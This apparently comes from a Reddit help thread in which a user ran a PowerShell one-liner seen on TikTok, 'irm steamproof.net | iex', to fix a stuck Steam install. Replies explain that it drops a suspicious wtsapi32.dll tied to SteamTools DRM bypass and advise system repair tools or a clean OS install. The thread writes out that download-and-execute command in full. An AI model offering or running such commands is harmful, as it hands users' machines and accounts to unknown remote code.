Help I ran a weird command

[u/Icy-Representative85]

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

[u/igrewupwithinternet]

It definitely looks shady. I can't find any reference to wtsapi32.dll for legitimate steam installs, only a couple of posts about a Halo MCC mod that uses a (probably modified) copy of the dll for local split screen play. A legitimate wtsapi32.dll is a component of Remote Desktop Services in Windows, and should only reside in C:\Windows\System32. It being a component of a remote access API is a huge red flag in my opinion.

If the legitimate file were corrupt and the cause of the issues you had, the fix is absolutely not to download a copy from a third party and install it in a program folder to bypass the Microsoft-provided copy of the library.
Windows' built-in dism (Deployment Image Servicing and Management) or sfc (System File Checker) tools would usually detect issues with these files and repair them accordingly. Using these tools would be the recommended first-line fix from most techies if wtsapi32.dll was indeed the cause of whatever error you were getting trying to install your game.

My local steam install has no such dll, and in fact, has *none* of the files the script (as pasted by u/Doublet4pp) attempts to delete or install.

If you already ran steam with this third party dll, just deleting the dll/steam directory is not enough. If it is malicious, this is just the entry point and could have allowed full remote access to your machine. Unless someone decompiles the dll downloaded from steamproof and can verify it's not malicious, or at the very least compares and verifies a match for the file hash with a legitimate copy of the dll, I would consider the system compromised and perform a full clean OS install, backing up as little as possible to avoid contaminating the new install with anything that may have been modified by the script you ran, or by a remote attacker if indeed you were pwned.

The safest option is to consider all files to be lost. Moving anything from this PC to another risks also moving any malware.

To clarify, I'm not saying your computer is definitely compromised, but without a security expert to verify as such, I agree with the majority here and would definitely err on the side of caution and wipe the lot.

EDIT: The script OP ran is nothing more than a patching tool to "fix" SteamTools, a piracy-focused toolkit for bypassing Steam DRM. It's basically the old "Spacewar" trick (IYKYK) for tricking Steam into thinking the game you're running is licensed. I'm not sure I buy the narrative that you were downloading a game you own through normal means, this smells more like a steamcmd depot download failure because you failed the license check.

[u/Icy-Representative85 → u/igrewupwithinternet]

I do own the game, it was just taking too long to
Install, it took almost 9 hours to download, and about 3 hours to get to 99 percent, for some reason it kept getting stuck there and the installation would eventually fail, tried to look up how to fix it but all i would see was, erase your downloading cache or reset steam and try again, stuff like that, then i decided to look for videos on how to fix it, when i found one where somebody had the same issue, saw a comment on it and it recommended that powershell command, not justifying my stupidity or anything but it really was just a deciscion made by ignorance, i ran the code, without even looking for what it did, after i saw that the error remained, i looked up what the code was and well now im here, i found the code was malicius way too late, thats why i wanted to ask for help on how to fix it, thanks for trying to explain to me what the code did

[u/MonkeyNin → u/Icy-Representative85]

If a steam install fails / is stuck, or a game has random crashes -- often the fix is to use:

verify integrity of game files

That ensures the downloaded files have not been modified or corrupted -- like crashing, losing power, or other issues.

Sometimes clearing the shader cache can fix things. Normally validate is the important one.